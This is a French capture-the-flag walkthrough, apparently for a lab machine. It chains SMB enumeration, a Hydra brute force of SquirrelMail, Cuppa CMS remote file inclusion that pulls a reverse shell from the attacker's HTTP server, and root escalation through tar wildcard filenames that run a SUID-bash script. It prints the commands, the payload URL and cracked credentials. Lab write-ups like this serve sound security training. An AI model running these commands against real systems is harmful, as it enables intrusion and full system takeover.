Pour commencer l'évaluation de la cible, effectuez un scan exhaustif des ports réseau à l'aide de Nmap. Utilisez les options pour détecter les services et les versions, avec une intensité de scan élevée pour accélérer le processus.
nmap --all-ports -sV -sC --version-intensity 5 --timing aggressive 10.10.164.81
Les résultats indiquent que les ports 139 et 445 sont ouverts, ce qui confirme la présence d'un service SMB. Procédez à l'énumération des partages SMB disponibles sur la machine distante.
smbclient --list 10.10.164.81
# Ou avec enum4linux pour une analyse plus détaillée
enum4linux -a 10.10.164.81
L'énumération révèle plusieurs comptes potentiellement accessibles, notamment anonymous et milesdyson. Connectez-vous au partage anonyme pour récupérer des fichiers pertinents.
smbclient //10.10.164.81/anonymous -N
Après connexion, récupérez et examinez le fichier attention.txt. Son contenu suggère une récente mise à jour des mots de passe par l'administrateur, dont le nom d'utilisateur est probablement milesdyson. Un fichier contenant des mots de passe potentiels est également trouvé.
En parallèle, lancez un scan de répertoires sur le serveur web pour identifier les points d'entrée cachés.
gobuster dir --url http://10.10.164.81/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error
Le scan découvre un chemin /squirrelmail, qui redirige vers une page de connexion à un client de messagerie web. Utilisez Hydra pour tenter de forcer l'accès à ce service avec le nom d'utilisateur milesdyson et la liste de mots de passe obtenue précédemment.
hydra -l milesdyson -P log1.txt 10.10.164.81 http-post-form "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown User or password incorrect."
Les identifiants valides découverts sont milesdyson avec le mot de passe cyborg007haloterminator. Connectez-vous à l'interface webmail pour consulter les messages.
Accès approfondi et exploitation de vulnérabilités
Un email dans la boîte de réception contient un nouveau mot de passe pour le compte SMB : `)s{A&2Z=F^n_E.B``. Utiliesz ces nouvelles références pour vous connecter au partage SMB de l'utilisateur.
smbclient //10.10.164.81/milesdyson -U milesdyson
En explorant le partage, un fichier texte révèle un répertoire caché : /45kra24zxs28v3yd. Effectuez un nouveau scan de répertoires sur ce chemin spécifique.
gobuster dir --url http://10.10.164.81/45kra24zxs28v3yd/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error
Le scan mène à une page d'administration pour Cuppa CMS. Recherchez des exploits connus pour cette application sur des bases de données comme Exploit-DB. Une vulnérabilité d'inclusion de fichier distant (RFI) est identifiée.
Pour exploiter cette faille, préparez un script de shell inversé sur votre machine d'attaque, en modifiant l'adresse IP et le port. Démarrez ensuite un serveur HTTP simple pour le distribeur, et ouvrez un écouteur Netcat pour recevoir la connexion.
# Sur la machine d'attaque : démarrer le serveur et l'écouteur
python3 -m http.server 8000 &
nc -lvnp 4444
Ensuite, injectez le payload via le navigateur pour forcer la cible à inclure et exécuter votre script de shell inversé.
http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://[IP_ATTAQUE]:8000/php-reverse-shell.php
Une fois le shell obtenu, stabilisez-le en utilisant Python si disponible.
which python3
python3 -c "import pty; pty.spawn('/bin/bash')"
Récupérez le drapeau utilisateur (user flag) dans le répertoire courant ou via une recherche.
Élévation de privilèges via exploitation de tâche planifiée
Explorez le système de fichiers. Dans le répertoire /backups, un script backup.sh est présent. Son contenu montre qu'il crée une archive tar de /var/www/html et est exécuté chaque minute via cron avec les privilèges root, comme indiqué dans /etc/crontab.
En consultant GTFOBins, une technique d'exploitation via les options de commande tar est découverte. Les fichiers nommés --checkpoint et --checkpoint-action peuvent être utilisés pour exécuter des commandes arbitraires lors de l'archivage. Puisque le script utilise un joker (*) pour inclure tous les fichiers, créez ces fichiers dans /var/www/html pour déclencher l'exécution.
Créez d'abord un script qui établit un binaire SUID pour un shell root.
echo '#!/bin/bash
cp /bin/bash /tmp/rootsh && chmod +s /tmp/rootsh' > /var/www/html/elevate.sh
Rendez ce script exécutable, puis créez les deux fichiers spéciaux exploitant tar.
chmod +x /var/www/html/elevate.sh
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh elevate.sh"
Attendez environ une minute pour que la tâche cron s'exécute. Un binaire SUID /tmp/rootsh devrait apparaître. Exécutez-le avec le drapeau -p pour conserver les privilèges élevés.
cd /tmp
ls -la
./rootsh -p
whoami
Après avoir obtenu un shell root, récupérez le drapeau final (root flag) à l'emplacement approprié.